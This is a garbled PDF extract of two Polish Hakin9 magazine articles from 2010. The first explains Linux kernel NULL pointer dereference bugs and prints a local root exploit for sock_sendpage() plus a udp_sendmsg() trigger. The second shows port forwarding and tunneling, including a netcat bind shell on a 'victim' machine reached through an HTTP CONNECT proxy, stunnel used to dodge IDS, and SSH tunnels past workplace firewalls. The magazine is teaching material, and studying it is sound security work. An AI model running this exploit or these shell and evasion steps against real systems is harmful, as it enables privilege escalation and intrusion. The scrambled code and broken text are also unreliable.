Więc jeśli kernel odwoła się do danych spod adresu Null (który został wcześniej zamapowany), to ta operacja się powiedzie. ���������������� ����������������� �������������������������������������� �������������������������������������������� ����������������� �������������������������������� ������������������ ����������������������������� ������������������ ���������� �������������������������������������������� ���������� Rysunek 1. Schemat segmentów w pamięci procesu ���������� �������� ����������� ���������� } } ���� ���� ���������� ��������� ��������� �������������� ����������� ����� ������� �������� Rysunek 2. Podział trybów pracy procesora 1/2010 HAKIN9 35 ATAK sock_sendpage( ) Listing 2. Część struktury proto_ops struct proto_ops { int struct module int int int int family; *owner; (*release) (*bind) (struct socket *sock); (struct socket *sock, struct sockaddr *myaddr, int sockaddr_len); (*connect) (struct socket *sock, struct sockaddr *vaddr, int sockaddr_len, int flags); (*socketpair)(struct socket *sock1, struct socket *sock2); (….) ssize_t ssize_t }; � (struct socket *sock, struct page *page, int offset, size_t size, int flags); (*splice_read)(struct socket *sock, loff_t *ppos, struct pipe_inode_info *pipe, size_t len, unsigned int flags); (*sendpage) ���� ���� ���� ����������� Rysunek 3. Schemat stosu w trybie jądra ������������ Przykładowym błędem dereferencji wskaźnika, jest luka znaleziona w funkcji sock _ sendpage( ) (Listing 1), która znajduje się we wszystkich kernelach z serii 2.6 oraz w większości 2.4. W jej ostatniej instrukcji, istnieje skok do funkcji, której adres przechowuje wskaźnik do struktury typu proto_ops. W strukturze tej zdefiniowane są wskaźniki do funkcji s, które wykonują różne operacje na gnieździe (Listing 2). Błąd polega na niedostatecznym zainicjalizowaniu tejże struktury, poprzez makro SOCKOPS_WRAP( ). Jeśli utworzony socket, będzie jednym z wymienionych rodzin protokołów: PF_APPLETALK, PF_IPX, PF_IRDA, PF_X25, PF_AX25, PF_BLUETOOTH, PF_IUCV, PF_ INET6, PF_PPPOX, PF_ISDN, to wskaźnik w proto_ops do funkcji sendpage(), nie zostanie przypisany, w konsekwencji będzie równy NULL. Wcześniejsze umieszczenie w tym miejscu instrukcji dla procesora, spowoduje ich wykonanie z przywilejami ring0. Shellcode Aby podnieść przywileje naszego procesu, wykorzystamy standardową metodę nadpisywania pól struktury task_struct, które określają uid oraz gid, z jakimi został uruchomiony program. Do tego zadania potrzebny nam będzie adres task _ struct . Po aktualizacji naszego uid i gid, musimy powrócić do user land bez wywołania żadnego błędu. Stronicowanie (ang. pages table) Procesory 80386 i nowsze, pracujące w trybie chronionym umożliwiają dowolne mapowanie adresów logicznych na adresy fizyczne – mechanizm ten nazywany jest stronicowaniem (ang. paging). Adresy logiczne obejmują całą przestrzeń adresową procesora, czyli 4 GB, niezależnie od tego, ile w rzeczywistości w komputerze zainstalowano pamięci. Zadaniem systemu operacyjnego jest odpowiednie mapowanie adresów logicznych na adresy pamięci fizycznej, co pozwala zwykłym programom użytkowym, przez cały czas działania, odwoływać się do tych samych adresów logicznych. Jeśli włączone jest stronicowanie, wówczas cała pamięć (4 GB) dzielona jest na bloki – strony o rozmiarach 4 kB; w procesorach Pentium i nowszych możliwe jest także używanie stron o rozmiarach 4 MB. Gdy program odwołuje się do pamięci, podaje adres właściwej komórki pamięci. Adres ten jest 32-bitową liczbą, która składa się z trzech części: • • • indeks w katalogu stron (liczba 10-bitowa), indeks w tablicy stron (liczba 10-bitowa), przesunięcie w obrębie strony (liczba 12-bitowa). Katalog stron zawiera wskaźniki do tablic stron, tablice stron przechowują adresy fizyczne stron (system operacyjny może zarządzać wieloma katalogami i tablicami stron). Zatem pierwsza część adresu wybiera z katalogu stron tablicę stron. Druga część adresu wybiera pozycję z tablicy stron, która wyznacza fizyczny adres konkretnej strony. Przesunięcie jest adresem lokalnym w obrębie wybranej strony. Ostatecznie adres fizyczny, na który zamapowano adres logiczny, wyznaczany jest z dwóch składników: adresu fizycznego strony i przesunięcia. 36 HAKIN9 1/2010 BŁĘDY TYPU NULL POINTER DEREFERENCE Gdybyśmy tego nie zrobili, jądro zabiłoby nasz proces, któremu przed chwilą podnieśliśmy uprawnienia. Adres task_struct W Linuksie, stos trybu jądra umieszczono w jednym obszarze pamięci, razem ze strukturą thread_info (pierwsze pole tej struktury to wskaźnik do task_struct aktualnego procesu). Obszar ten ma zazwyczaj długość 8 kB (czasami jest to 4 kB) oraz zawsze rozpoczyna się adresem, który jest wielokrotnością 8 192 bajtów (213 ) (Rysunek 2). Dzięki takiej konstrukcji, kernel może odwołać się do thread_info w bardzo prosty sposób, mianowicie poprzez maskowanie 13 najmniej znaczących bitów (12 w przypadku 4 kB) rejestru ESP. Po wykonaniu tej czynności, otrzymujemy adres thread_info oraz jednocześnie, wskaźnik do struktury task_struct. Powrót do user land W przypadku błędu w sock _ sendpage( ), powrót do przestrzeni użytkownika może się odbyć poprzez instrukcję ret, ponieważ nasz shellcode wywoływany jest w kontekście nowej funkcji. Więc jeśli rejestry ebp i esp pozostaną Listing 3. Kod exploita na sock_sendpage() #include #include #include #include #include #include #include #include #include #include #include <stdio.h> <stdlib.h> <unistd.h> <fcntl.h> <sys/socket.h> <sys/user.h> <sys/types.h> <sys/wait.h> <sys/reg.h> <sys/mman.h> <sys/stat.h> } "movl %2, 0x08(%%esp) ;" "movl %3, 0x04(%%esp) ;" "movl %4, 0x00(%%esp) ;" "iret" : : "r" (ss), "r" (esp), "r" (0), "r" (cs), "r" (root_exec) ); int main(void) { static unsigned int uid, gid, cs, ss; static unsigned long esp; int sock, file; void *page; char template[] = "/tmp/exploit.XXXXXX"; void root_exec() { uid = getuid(); gid = getgid(); if (getuid() != 0) { printf("Shellcode fail\n"); exit(1); } } asm volatile ( "movl %%esp, %0\n" : "=r" (esp) ); asm volatile ( "mov %%ss, %0\n" : "=r" (ss) ); asm volatile ( "mov %%cs, %0\n" : "=r" (cs) ); if((page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ ANONYMOUS, 0, 0)) == MAP_FAILED) { perror("mmap"); exit(1); } execl("/bin/sh", "sh", "-i", NULL); void shellcode() { int i, *p; unsigned long current; *(char *)0 *(char *)1 *(unsigned *(unsigned asm volatile ( "movl %%esp, %0;" : "=r"(current) ); current &= 0xffffe000; current = *(unsigned long *)current; if((file = mkstemp(template)) < 0) { perror("mkstemp"); exit(1); } p = (int *)(current + 0x2bc); p = (int *)*p; for(i = 0; i < 300; i++) { if(p[0] == uid && p[1] == uid && p[4] == gid && p[5] == gid) { p[0] = p[1] = 0; p[4] = p[5] = 0; break; } p++; } asm volatile ( "movl %0, 0x10(%%esp) ;" "movl %1, 0x0c(%%esp) ;" = '\xff'; = '\x25'; long *)2 = (unsigned long)6; long *)6 = (unsigned long)shellcode; if((sock = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) { perror("socket"); exit(1); } unlink(template); ftruncate(file, PAGE_SIZE); sendfile(sock, file, NULL, PAGE_SIZE); } 1/2010 HAKIN9 37 ATAK niezmienione, to jądro samo powróci do przestrzeni użytkownika. Gdy nie znajdujemy się w takiej komfortowej sytuacji, to musimy sami wywołać instrukcję, która spowoduje powrót z kernel mode do user land. W Linuksie do dyspozycji mamy dwa wyjścia, użycie instrukcji sysexit bądź instrukcji iret. My wykorzystamy tę drugą. Jej działanie jest proste: pobiera ona pięć argumentów ze stosu: • • • • • po czym przenosi je do odpowiednich rejestrów procesora. W pierwszym argumencie umieścimy adres funkcji wywołującej powłokę. Wartości rejestrów CS, SS i ESP pobierzemy z wcześniej utworzonych kopii. W przypadku rejestru flag, nie musimy ustawiać żadnej z nich, więc przekażemy po prostu zero. adres instrukcji, od której można wznowić wykonywanie programu, Listing 4. Część struktury task_struct struct task_struct { volatile long state; void *stack; atomic_t usage; unsigned int flags; unsigned int ptrace; int lock_depth; /* -1 unrunnable, 0 runnable, >0 stopped */ /* per process flags, defined below */ /* BKL lock depth */ (….) /* process credentials */ uid_t uid,euid,suid,fsuid; gid_t gid,egid,sgid,fsgid; struct group_info *group_info; kernel_cap_t cap_effective, cap_inheritable, cap_permitted, cap_bset; struct user_struct *user; unsigned securebits; }; (….) Listing 5. Część funkcji udp_sendmsg() int udp_sendmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, size_t len){ (….) struct rtable *rt = NULL; (….) if (up->pending) { /* * There are pending frames. * The socket lock must be held while it's corked. */ lock_sock(sk); if (likely(up->pending)) { if (unlikely(up->pending != AF_INET)) { release_sock(sk); return -EINVAL; } goto do_append_data; } release_sock(sk); } (….) do_append_data: up->len += ulen; err = ip_append_data(sk, ip_generic_getfrag, msg->msg_iov, ulen, sizeof(struct udphdr), &ipc, rt, corkreq ? msg->msg_flags|MSG_MORE : msg->msg_flags); if (err) udp_flush_pending_frames(sk); else if (!corkreq) err = udp_push_pending_frames(sk, up); release_sock(sk); (….) 38 HAKIN9 1/2010 wartość rejestru segmentowego CS, zachowane flagi, wartość rejestru ESP, wartość rejestru segmentowego SS, Exploit Cały kod exploita znajduje się na Listingu 3. Na początku inicjalizujemy wszystkie zmienne statyczne, których będziemy używać w shellcode. Potem wywołujemy funkcję mmap( ) z flagami, które wymuszają mapowanie adresu Null oraz informującymi, że mapownaie nie jest oparte na żadnym pliku. Kolejne linie kopiują poniższą instrukcję skoku (w języku maszynowym) pod 0x0: jmp *0x6 a następnie adres funkcji shellcode. Dalej przebiega inicjalizacja pliku oraz gniazda, potrzebnych do wywołania błędu. Dzięki funkcji sendfile( ), jądro uruchamia sock _ sendpage( ), po czym skacze pod adres Null. Umieszczone tam instrukcje, przenoszą działanie programu do funkcji shellcode( ). Jedynym jej elementem, który nie został omówiony, jest pętla for( ). Literuje ona całą strukturę task _ struct (Listing 4), w poszukiwaniu uid oraz gid, z jakimi został uruchomiony proces, po czym ustanawia jego nową wartość. Po wyjściu z przestrzeni jądra, uruchamiamy powłokę z prawami roota. udp_sendmsg() Innym ciekawym przykładem jest błąd znaleziony w funkcji udp _ sendmsg(). Polega on na tym, że pointer wskazujący na strukturę rtable, zostaje zinicjowany wartością Null. Doprowadzając do odpowiednich warunków, pointer ten zostaje przekazany bez żadnych modyfikacji do argumentów funkcji ip _ append _ data(), która BŁĘDY TYPU NULL POINTER DEREFERENCE wykonuje operacje na strukturze przez niego wskazywanej. Posiadając władzę nad strukturą rtable, jesteśmy w stanie modyfikować każde jej pole, a w konsekwencji, wykonać nasz kod na poziomie ring0. Najbezpieczniejszym wyjściem jest wykorzystanie wskaźnika funkcji (*output)(struct sk_buff*) zawartym w unii dst_entry. Wywoływany jest on przez funkcję dst _ output(), którą z kolei wywołuje makro NF_HOOK(): #define NF_HOOK(pf, hook, skb, indev, outdev, okfn) (okfn)(skb) Do uchwycenia błędu musimy stworzyć gniazdo UDP i jego nagłówek, a następnie wywołać funkcję sendmsg() dwukrotnie. Za drugim razem funkcja udp _ sendmsg() znów skoczy do etykiety do_ append_data, po czym spróbuje wysłać nasz pakiet, wykonując przy tym wcześniej wspomniane makro NF_HOOK(). Jako że wskaźnik output będzie wskazywać na naszą funkcję, to zostanie ona wykonana przez jądro. Reszta scenariusza jest już znana. Warto samodzielnie przeanalizować cały ten schemat w źródłach Linuksa, gdyż umiejętność odnalezienia się wielu różnych strukturach oraz funkcjach na nich pracujących, jest bardzo cenna (nieocenionym narzędziem do tego będzie strona lxr.linux.no). Obrona Deweloperzy jądra w wersji 2.6.23, wprowadzili minimalny adres, jaki może zostać mapowany (/proc/sys/vm/mmap_ min_addr). Skutecznie uniemożliwia to wykorzystywanie błędów typu Null Pointer Dereference. Pierwszy bypass został odkryty w funkcji do _ brk(), która służy do alokacji miejsca na stercie. Błąd polegał na niedostatecznym sprawdzaniu, czy dany region pamięci może być mapowany. Alokując duże regiony pamięci poprzez funkcję malloc(), bądź nawet funkcję mmap() (obie korzystają z do_brk()), w końcu udałoby się osiągnąć adres Null. Błąd został naprawiony w wersji 2.6.24-rc5. W czerwcu tego roku, Julien Tinnes oraz Tavis Ormandy, zaprezentowali nową technikę obejścia mmap_min_addr, która Listing 6. Uchwycenie błędu w udp_sendmsg() struct msghdr header; struct sockaddr_in address; int sock; sock = socket(PF_INET, SOCK_DGRAM, 0); if (sock == -1) { printf("[-] can't create socket\n"); exit(-1); } memset(&header, 0, sizeof(struct msghdr)); memset(&address, 0, sizeof(struct sockaddr_in)); address.sin_family = AF_INET; address.sin_addr.s_addr = inet_addr("127.0.0.1"); address.sin_port = htons(22); header.msg_name = &address; header.msg_namelen = sizeof(address); // offset wskaźnika (*output)(struct sk_buff*) *(unsigned long *)(0x74) = (unsigned long)shellc0de; sendmsg(sock, &header, MSG_MORE | MSG_PROXY); sendmsg(sock, &header, 0); close(sock); W Sieci • • wikipedia.org (http://pl.wikipedia.org/wiki/Stronicowanie_pamięci), blog.cr0.org (http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html). wykorzystuje demon do obsługi dźwięku, zainstalowany we wszystkich popularnych dystrybucjach. Linux pozwala na mapowanie adresu Null programom, które mają ustawiony bit setuid (gdyż programy z bitem suid posiadają CAP_SYS_RAWIO capability co w rzeczywistości, pozwala na mapowanie adresu Null). Aby to wykorzystać, program taki musi jeszcze wykonać nasz kod, bez wywoływania go jako nowego procesu. Julien i Tavis użyli do tego zadania pulseaudio, który ma standardowo ustawiony bit setuid oraz pozwala na użycie dynamicznej biblioteki, wybranej przez użytkownika (oczywiście pulseaudio zrzuca przedtem uprawnienia). Ciekawą informacją jest to, że SELinux w standardowych ustawieniach, zezwala pulseaudio na mapowanie adresu Null, co w połączeniu z wykonaniem kodu na poziomie ring0, daje atakującemu możliwość całkowitego obejścia zabezpieczeń stosowanych przez SELinux czy AppArmor. W wersji 2.6.31-rc3 potraktowano powyższy bypass mmap_min_addr jako podatność jądra, oraz usunięto ją, wykorzystując do tego celu łatę zaproponowaną przez odkrywców podatności. Podsumowanie Wykorzystywanie błędów, znajdujących się w jądrze Linuksa, jest pewnego rodzaju sztuką. Opublikowanie podatności w jądrze, czy napisanie PoC na błąd, który uważany był za niemożliwy do eksploitacji, łączy się z szacunkiem i uznaniem w środowisku. Artykuł ten omówił tylko podstawy, jakie każda osoba interesująca się pisaniem eksploitów powinna znać. Istnieje wiele technik, których można użyć. Ucieczka z więzienia chroot, zablokowanie SELinux, czy zdalny atak na jądro, to tylko przykłady. Widzimy, że wszystkie błędy, znajdujące się na poziomie jądra, są bardzo groźne w skutkach, dlatego jego ciągła aktualizacja jest bardzo ważnym elementem w zapewnieniu ochrony systemowi. Damian Osienicki Autor studiuje informatykę w Polsko – Japońskiej Wyższej Szkole Technik Komputerowych. W wolnych chwilach pisze programy w języku C, Asemblerze, Pythonie oraz zgłębia działanie systemu Linux. Członek grupy u-Crew oraz Gabspan. Kontakt z autorem: [email protected] 1/2010 HAKIN9 39 ATAK Jak zostać władcą portów NORBERT KOZŁOWSKI Stopień trudności Nie będziemy potrzebowali floty statków ani pirackiej załogi by zrealizować ten cel. W XXI wieku zdołamy dokonać podobnych rzeczy wyposażeni jedynie w komputer oraz wiedzę pozwalającą na poprawne wykonanie pewnych technik. W artykule przedstawimy różne sposoby przekierowania portów oraz tunelowania połączeń. Techniki te są dość łatwe w implementacji, a ich rezultaty całkiem zaskakujące. Dzięki poznaniu i zrozumieniu ich działania będziemy w stanie kontrolować ruch w sieci, co może okazać się przydatne w środowiskach ograniczonych działaniem prostego firewalla (bez kontroli zawartości pakietów) lub innego mechanizmu filtrującego ruch. W sieciach wykorzystujących zaawansowane systemy IDS należy stosować inne techniki. Przekierowanie portu Z ARTYKUŁU DOWIESZ SIĘ jak oszukać proste systemy filtrujące ruch w sieci. CO POWINIENEŚ WIEDZIEĆ znać podstawowe narzędzia i ogólny schemat działania sieci w systemach linuksowych. 40 HAKIN9 1/2010 Przekierowanie portu dotyczy akceptowania przychodzących danych na specyficznym porcie (zazwyczaj wyznaczonym regułą w firewallu) i przeniesienie ich na inny port. Umiejętność może być przydatna w wielu sytuacjach. Rozważmy jedną z nich. Wyobraźmy sobie przypadek, gdy nasz komputer w pracy znajduje się w sieci LAN za zaporą ogniową. Jest ona skonfigurowana tak, aby zezwalać na ruch wychodzący tylko na porcie 80. W praktyce oznacza to, iż z sieci jesteśmy w stanie otrzymać każdą informację, ale my, jako jej źródło, jesteśmy skazani na przeglądarkę WWW. Jesteśmy także uzależnieni od IRC-a, a to nieco utrudnia nam ciągłe przesiadywanie na ulubionym kanale. Będziemy usiłowali uzyskać dostęp do portu 6667. Powyższy problem możemy rozwiązać na kilka sposobów. Alternatywą jest skorzystanie ze strony internetowej emulującej klienta IRC lub stworzenie własnego skryptu CGI, który będzie działał na serwerze i spełniał podobną funkcję, komunikując się z określonym kanałem poprzez przeglądarkę. My jednak zostaniemy przy ciekawszym rozwiązaniu. Do osiągnięcia celu będziemy potrzebowali dodatkowego komputera, np. domowego. Rysunek 1 przedstawia opisaną sytuację. Nasz stacjonarny komputer skonfigurujemy w taki sposób, aby przeprowadzał nasłuch na porcie 80, a otrzymane połączenia automatycznie przekierował na port 6667, stając się pośrednikiem. Istnieje kilka programów, aby zrealizować ten cel. Korzystając z systemu Windows można użyć na przykład fpipe lub winrelay. My jednak zachowamy się jak profesjonaliści i wykorzystamy do tego celu linuksową aplikację rinetd. W naszych rozważaniach przyjmijmy za fakt, iż komputer domowy ma publiczny adres IP 85.64. 33.144, a serwer IRC, z którym chcemy nawiązać połączenie to irc.freenode.net W tym celu na domowym komputerze edytujemy plik /etc/rinetd.conf, dopisując następującą regułę: 85.64.33.144 80 irc.freenode.net 6667 JAK ZOSTAĆ WŁADCĄ PORTÓW Jej format widać na pierwszy rzut oka. Schematycznie jest to: [adres źródłowy] [port źródłowy] [adres docelowy] [port docelowy] Należy dodać, iż każdy przekazywany port należy dodać jako osobną regułę w nowym wierszu. Adresy źródłowe i docelowe mogą być zapisane jako adresy IP lub nazwy komputerów. Adres źródłowy 0.0.0.0 oznacza, że przekazywane będą połączenia, ze wszystkich adresów IP powiązanych z naszym komputerem. Przykładowo wpis: 0.0.0.0 80 192.168.1.101 80 znaczy że cały ruch przychodzący na port 80 zostanie przekazany komputerowi 192.168.1.101. Warto pamiętać, iż w systemie nie może równocześnie działać inna aplikacja korzystająca z tego portu. Mogłoby to doprowadzić do konfliktu. Wracając do przykładu. Uruchomimy teraz rinetd, wpisując jego nazwę w konsoli. Na komputerze w pracy możemy sprawdzić czy wszystko działa poprawnie. Używając netcat w konsoli wpisujemy – Listing 1. Kapsułkowanie SSL – Stunnel Jak czytamy w opisie programu, Stunnel został stworzony by tunelować połączenia TCP za pomocą protokołu SSL. Jego zalety to m.in. łatwość konfiguracji (jeden plik), działa w środowisku chroot, nie wymaga przywilejów administratora, nie tworzy w systemie żadnych dodatkowych inter fejsów sieciowych. Kod źródłowy pozbawiony jest jakichkolwiek kr yptograficznych funkcji (wykorzystywane są zewnętrzne biblioteki SSL). W praktyce używany jest by rozszerzyć funkcjonalność innych protokołów (np. POP2, POP3, IMPAP) poprzez uzupełnienie ich w szyfrowanie, bez jakiejkolwiek ingerencji w kod źródłowy deamona. Stunnel można wykorzystać szyfrując ruch w sieci, co może zapobiec atakom MITM lub pomóc oszukać systemy IDS/IPS. W naszym scenariuszu będziemy próbowali nawiązać połączenie z serwerem POP3 wspierającym szyfrowanie SSL. Niestety nasz klient poczty nie ma możliwości korzystania z szyfrowanych połączeń. W dodatku podejrzewamy, iż w sieci pojawił się intruz przechwytujący cały ruch. Obrazkowo sytuacja przedstawia się tak jak na Rysunku 2. Skonfigurujemy Stunnel, aby nasłuchiwał adres 127.0.0.1 na porcie 110, kapsułkował, a następnie przekierowywał dane do serwera poczty na port 995 (POP3 SSL). Warto zauważyć, iż jeśli będziemy próbowali połączyć się do serwera poczty na surowo poprzez RAW TCP (używając np. aplikacji netcat z Listing 1. Nawiązanie połączenia z serwerem IRC C:\>nc -nv 85.64.33.144 80 (UNKNOWN) [85.64.33.144] 80 (?) open NOTICE AUTH :*** Looking up your hostname... NOTICE AUTH :*** Checking ident NOTICE AUTH :*** No identd (auth) response NOTICE AUTH :*** Found your hostname … ���������������������������� ��� ������������� �������� ���������� ������������������������� ����� Rysunek 1. Przekierowanie portu ��������� �������� ����� ������������� �������� �������� Rysunek 2. Schemat kapsułkowania SSL 1/2010 HAKIN9 41 ATAK parametrem verbose) nie otrzymamy żadnej odpowiedzi. Serwer domyślnie czeka na rozpoczęcie połączenia SSL (SSL handshake). Nasz plik konfiguracyjny stunnel.conf (/usr/local/etc/stunnel/ stunnel.conf ) powinien wyglądać np. Tak – Listing 2. Gdzie 144.52.121.72 jest adresem IP, a 995 portem docelowym serwera poczty. Teraz pozostaje nam tylko uruchomić stunnel, a następnie połączyć się z adresem 127.0.0.1 na porcie 110. Wydajemy następujące polecenia – Listing 3. Ciekawostką jest to, iż większość systemów IDS bez żadnych trudności wykrywa próby stworzenia tzw. bind shella lub reverse shella za pomocą netcata. Bardzo użyteczny w tej sytuacji staje się stunnel. Systemy identyfikacji intruzów Listing 2. Plik konfiguracyjny stunnel.conf cert = /usr/local/etc/stunnel/stunnel.pem ; Some security enhancements for UNIX systems - comment them out on Win32 chroot = /usr/local/var/lib/stunnel/ setuid = nobody setgid = nogroup pid = /stunnel.pid client = yes ; Service-level configuration [pop3s] accept = 127.0.0.1:110 connect = 144.52.121.72:995 khozzy@khozzy-laptop:~$ stunnel khozzy@khozzy-laptop:~$ nc -v 127.0.0.1 110 localhost [127.0.0.1] 110 (pop3) open +OK Hello there. USER myusername +OK Password required. PASS mypassword -ERR Login failed. QUIT +OK Better luck next time. khozzy@khozzy-laptop:~$ Listing 4. Przekierowanie połączenia wykorzystując metodę HTTP CONNECT khozzy@khozzy-laptop:~$ nc -nvv 85.64.228.230 8888 (UNKNOWN) [85.64.228.230] 8888 (?) open CONNECT 85.64.226.117:3030 HTTP/1.0 Ofiara : 85.64.226.117 (shell nasłuchujący na porcie 3030) Proxy : 85.64.228.230 (proxy nasłuchujące na porcie 8888) Na komputerze ofiary nasłuchuje shell. Ze względów bezpieczeństwa nie możemy połączyć się z nim bezpośrednio. Wykorzystamy do tego celu pośrednika – proxy. Dokonamy przekierowania połączenia za pomocą metody CONNECT protokołu HTTP. Zwróćmy szczególną uwagę na przykład zastosowania tej techniki – Listing 4. Na komputerze ofiary sytuacja przedstawia się tak: C:\WINDOWS\system32>nc -lvp 3030 -e listening on [any] 3030 ... connect to [85.64.226.117] from Microsoft Windows XP [Version 5.1.2600] (C)Copyright 1985-2001 Microsoft Corp. (CI) C:\WINDOWS\system32>ipconfig ipconfig [85.64.228.230] 48122 Windows IP Configuration Ethernet adapter Local Area Connection 2: 42 HAKIN9 1/2010 Metoda tunelowania HTTP Connect wykorzystuje serwer proxy do połączenia się z komputerem ofiary. Pierwotne zastosowanie tego sposobu działania miało zapewnić możliwość tunelowania tylko połączeń SSL, lecz bez problemów da się je wykorzystać do całego zakresu portów. Rysunek 3 przedstawia bieżącą sytuację. Przyjmijmy następujące dane: cmd.exe HTTP/1.0 200 Connection established Proxy-agent: tinyproxy/1.6.3 C:\WINDOWS\system32> Tunelowanie HTTP Connect Intruz : 83.130.79.89 Listing 3. Proces logowania się do serwera poczty za pomocą stunnel Connection-specific DNS Suffix IP Address. . . . . . . . . . Subnet Mask . . . . . . . . . Default Gateway . . . . . . . bardzo rzadko są w stanie podejrzeć transmisję SSL. Warto jak ćwiczenie spróbować stworzyć zaszyfrowaną sesję netcata (wskazówka: w pliku stunnel.conf należy zmienić linię client = yes na client = no). . . . . : . : 85.64.226.117 . : 255.255.255.0 . : 85.64.226.1 System rozpoznaje przychodzące połączenie nie od intruza, lecz od serwera proxy co było pierwotnym założeniem. ProxyTunnel ProxyTunnel jest programem umożliwiającym łączenie strumienia wejścia i wyjścia (stdin, stdout) z serwerem za pomocą metody HTTP CONNECT. Automatyzuje on proces JAK ZOSTAĆ WŁADCĄ PORTÓW opisany w przykładzie wyżej. Aktualna wersja aplikacji potrafi między innymi tworzyć tunele wykorzystując proxy HTTP oraz HTTPS, tworzyć połączenia SSH kierowane tymi tunelami, działać jako osobna aplikacja oczekująca na połączenie na danym porcie, następnie tunelując je do wyznaczonego celu. Aby zrobić pełny użytek z programu serwer proxy także musi sprostać pewnym wymaganiom. Musi obsługiwać metodę CONNECT oraz zezwolić na przekierowanie połączenia (niezależnie od autentykacji serwera proxy). Znaczna większość proxy zezwala na połączenia tylko kilka numerów portów. Najczęściej są to 80(http) i 443(https). Warto poświęcić chwilkę na odkrycie pozostałych. Największe prawdopodobieństwo mają takie jak 8000,8080,8081,8082, 119(nntp), 563(snntp). Będzie to miało duże znaczenie przy tunelowaniu SSH. Na razie powróćmy do poprzedniego przykładu i wykonajmy go ponownie, wykorzystując tym razem ProxyTunnel – Listing 5. Możliwości SSH Początkowym założeniem protokołu SSH było zwiększenie bezpieczeństwa transmisji danych pomiędzy komputerami. Okazało się, iż następcę telnetu można także wykorzystać w wielu innych sytuacjach, często niezgodnie z wolą administratora sieci. Na początek przeanalizujemy prosty przykład. W naszej sieci lokalnej dozwolone jest korzystanie tylko z wewnętrznego serwera POP3 i SMTP. Nie jesteśmy w stanie normalnie odebrać swojej prywatnej korespondencji z zewnętrznego serwera. Aby zrealizować cel będziemy potrzebowali osobnego komputera z publicznym adresem IP. Dla potrzeb tekstu wprowadzimy oznaczenia: • • K _ BIURO – adres komputera pracującego w sieci LAN (w biurze, firmie itp.), K _ DOM – komputer z publicznym adresem IP (np. 85.64.226.117) do którego mamy dostęp. Na K _ DOM musimy zainstalować serwer SSH (openssh – server), który będzie nasłuchiwał na porcie 22. W pracy, w terminalu należy wpisać: POP _ ZEWN oraz SMTP-ZEWN są adresami serwerów POP i SMTP, z którymi chcemy nawiązać połączenie. Porty 10110, 10025 można wybrać dowolnie, należy jednak pamiętać, aby były to liczby większe niż 1024 (mniejsze można tworzyć tylko na prawach roota). Adres podawany po pierwszym dwukropku jest adresem względem K _ DOM . Jeśli chcielibyśmy stworzyć tunel z domową maszyną na porcie 25 przełącznik wyglądałby tak: -L 10025: localhost:25. Po wykonaniu komendy jesteśmy w stanie odbierać korespondencję pracownik@K_BIURO:~$ ssh [email protected] -L 10110:POP- ZEWN:110 -L 10025:SMTP-ZEWN:25 Polecenie to rozumie się następująco: przełącznik -L oznacza nasłuchiwanie na lokalnym komputerze. Jego składnia to port na którym ma nasłuchiwać SSH : adres gdzie K_DOM ma przekazać połączenie : numer portu docelowego oczekującego na nasze połączenie. Listing 5. Zautomatyzowany proces przekierowania połączenia aplikacją ProxyTunnel bt proxytunnel-1.6.3 # proxytunnel -a 80 -p 85.64.228.230:8888 -d 85.64.226.117:3030 Forked into the background with pid 26608 bt proxytunnel-1.6.3 # nc -v 127.0.0.1 80 localhost [127.0.0.1] 80 (http) open Microsoft Windows XP [Version 5.1.2600] © Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>ipconfig ipconfig Windows IP Configuration Ethernet adapter Local Area Connection Connection-specific DNS Suffix . : IP Address. . . . . . . . . . . . Subnet Mask . . . . . . . . . . . Default Gateway . . . . . . . . . 2: : 85.64.226.117 : 255.255.255.0 : 85.64.226.1 C:\WINDOWS\system32> ������������� ��������������� ��������� �������� ����� ������������ ������ ������������� Rysunek 3. Tunelowanie HTTP Connect 1/2010 HAKIN9 43 ATAK programem pocztowym zainstalowanym na K _ BIURO. Wystarczy że w ustawieniach programu jako adres poczty przychodzącej wpiszemy localhost , port 10110. Analogicznie wypełniamy pola z pocztą wychodzącą (adres: localhost , port: 10025). Technikę tę można wykorzystać również wtedy, gdy administrator blokuje dostęp do stron WWW. Chcemy otworzyć w przeglądarce wyszukiwarkę Google, która jest blokowana, wpiszmy w terminalu: pracownik@K_BIURO:~$ ssh [email protected] -L 10080: www.google.pl:80 A potem w ustawieniach przeglądarki zmienimy ustawienia serwera proxy. Jako adres podamy oczywiście localhost a port 10080. Wpisując www.google.pl w pasku adresu strona otwiera się bez problemów. Niestety problem pojawia się, gdy chcemy otworzyć inną witrynę. Za każdym razem należałoby zmieniać i wpisywać od nowa stosowne polecenia w terminalu. Jednak i z tym problemem SSH potrafi się uporać. Wystarczy skorzystać z przełącznika -D. Tworzy on swojego rodzaju dynamiczny serwer pośredniczący typu SOCKS. Tym razem w terminalu wpisujemy: pracownik@K_BIURO:~$ ssh [email protected] -D 8080 Spowoduje to, iż SSH będzie przeprowadzał nasłuch na 8080 porcie K _ BIURO . Każda aplikacja, która nawiąże z nim połączenie zostanie dynamicznie przetunelowana do K _ DOM . W praktyce oznacza to, iż w zakładce ustawień proxy naszej przeglądarki znajdujemy ustawienia serwera SOCKS . Jako adres serwera podajemy oczywiście localhost , port 8080 (jako typ serwera SOCKS wpisujemy 5). Teraz możemy korzystać z Sieci bez ograniczeń. Niestety zdarzyć się może również sytuacja, gdy administrator zablokuje port 22 standardowo odpowiadający za usługi SSH. Jednak nie jest to dla nas problemem. Wystarczy tylko ���������������� ��������������������������� ���������������������������� znaleźć inny otwarty port, np. 443 (HTTPS) odpowiadający za połączenie z bezpiecznymi stronami WWW. Na K _ DOM jako root edytujmy plik /etc/ssh/ sshd_config, dopisując po linii Port 22 w nowym wersie Port 443. Resetujemy serwer komendą: user@K_DOM:~# /etc/init.d/ssh restart Teraz, chcąc wykonać przedstawione wyżej technik trzeba tylko dodać parametr -p 443. Np. pracownik@K_BIURO:~$ ssh -p 443 [email protected] -L 10080: www.google.pl:80 Odwrotny tunel SSH Ciekawą sztuczką jest odwrotny tunel SSH. Wykorzystuje się go, aby nawiązać połączenie z komputerem znajdującym się w sieci lokalnej za tzw. NAT-em. Możemy do tego celu użyć komercjalnego oprogramowania takiego jak Hamachi czy gotomypc. Oba posiadają jednak jakieś wady. Hamachi nie posiada poprawnie działającego linuksowego odpowiednika, co czyni go nieużytecznym. Aby korzystać z gotomypc trzeba płacić miesięczny abonament. Jak widzimy najlepszym rozwiązaniem 